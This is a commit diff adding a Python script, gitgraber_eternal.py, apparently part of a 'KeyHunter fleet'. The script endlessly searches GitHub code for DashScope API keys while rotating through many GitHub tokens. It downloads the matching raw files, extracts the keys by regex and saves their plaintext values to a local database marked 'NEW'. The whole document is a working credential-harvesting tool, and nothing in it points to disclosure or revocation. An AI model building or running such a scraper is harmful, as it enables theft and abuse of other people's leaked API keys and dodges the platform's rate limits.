KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)

2026-10-20 07:50:07 +00:00
commit a5008d837b
178 changed files with 36909 additions and 0 deletions
--- a/gitgraber_eternal.py
+++ b/gitgraber_eternal.py
@@ -0,0 +1,85 @@
+"""gitgraber_eternal.py <20> gitGraber wrapper for KeyHunter fleet.
+Monitors GitHub in real-time using gitGraber engine, extracts DashScope keys,
+saves to keys.db with prov='gitgraber'.
+"""
+import os, sys, time, hashlib, sqlite3, re
+
+KF_BASE = os.path.dirname(os.path.abspath(__file__))
+sys.path.insert(0, os.path.join(KF_BASE, '..', 'gitGraber'))
+sys.path.insert(0, KF_BASE)
+
+DB = os.path.join(KF_BASE, 'data', 'keys.db')
+LOG = os.path.join(KF_BASE, 'gitgraber_eternal.log')
+REST = 300  # 5 min between cycles
+
+KEY_RE = re.compile(r'sk-[0-9a-f]{32}')
+
+def log(msg):
+    line = f"[{time.strftime('%Y-%m-%d %H:%M:%S')}] {msg}\n"
+    print(line, end='')
+    with open(LOG, 'a') as f: f.write(line)
+
+def main():
+    log(f"=== gitgraber eternal START pid={os.getpid()} ===")
+    
+    import gitGraber
+    from config import GITHUB_TOKENS
+    
+    db = sqlite3.connect(DB)
+    
+    while True:
+        try:
+            # Use gitGraber's core search logic
+            for token in GITHUB_TOKENS[:50]:  # Rotate 50 tokens per cycle
+                try:
+                    # Search with dashscope keywords
+                    query = 'dashscope+sk-+api_key'
+                    url = f'https://api.github.com/search/code?q={query}&sort=indexed&order=desc&per_page=30'
+                    
+                    import requests
+                    r = requests.get(url, 
+                        headers={'Authorization': f'token {token}', 'User-Agent': 'gitgraber-eternal'},
+                        timeout=15)
+                    
+                    if r.status_code != 200:
+                        if r.status_code == 403: continue
+                        break
+                    
+                    data = r.json()
+                    for item in data.get('items', [])[:10]:
+                        repo = item['repository']['full_name']
+                        path = item['path']
+                        html_url = item['html_url']
+                        
+                        # Get raw content
+                        for branch in ['main', 'master']:
+                            raw = f'https://raw.githubusercontent.com/{repo}/{branch}/{path}'
+                            try:
+                                r2 = requests.get(raw, headers={'User-Agent': 'python'}, timeout=5)
+                                content = r2.text
+                                if len(content) < 100000:
+                                    keys = set(KEY_RE.findall(content))
+                                    for k in keys:
+                                        khash = hashlib.sha256(k.encode()).hexdigest()[:12]
+                                        # INSERT IF NOT EXISTS
+                                        existing = db.execute('SELECT id FROM keys WHERE hash=? AND val=?', (khash, k)).fetchone()
+                                        if not existing:
+                                            db.execute('INSERT INTO keys(hash,prov,val,status,plan,raw_url) VALUES(?,?,?,?,?,?)',
+                                                (khash, 'gitgraber', k, 'NEW', '', html_url))
+                                            log(f"  + {k[:40]}...  {repo}")
+                                break
+                            except: continue
+                except Exception as e:
+                    log(f"  token error: {e}")
+                    continue
+            
+            db.commit()
+            log(f"Cycle done. Sleeping {REST}s...")
+            
+        except Exception as e:
+            log(f"ERROR: {e}")
+        
+        time.sleep(REST)
+
+if __name__ == '__main__':
+    main()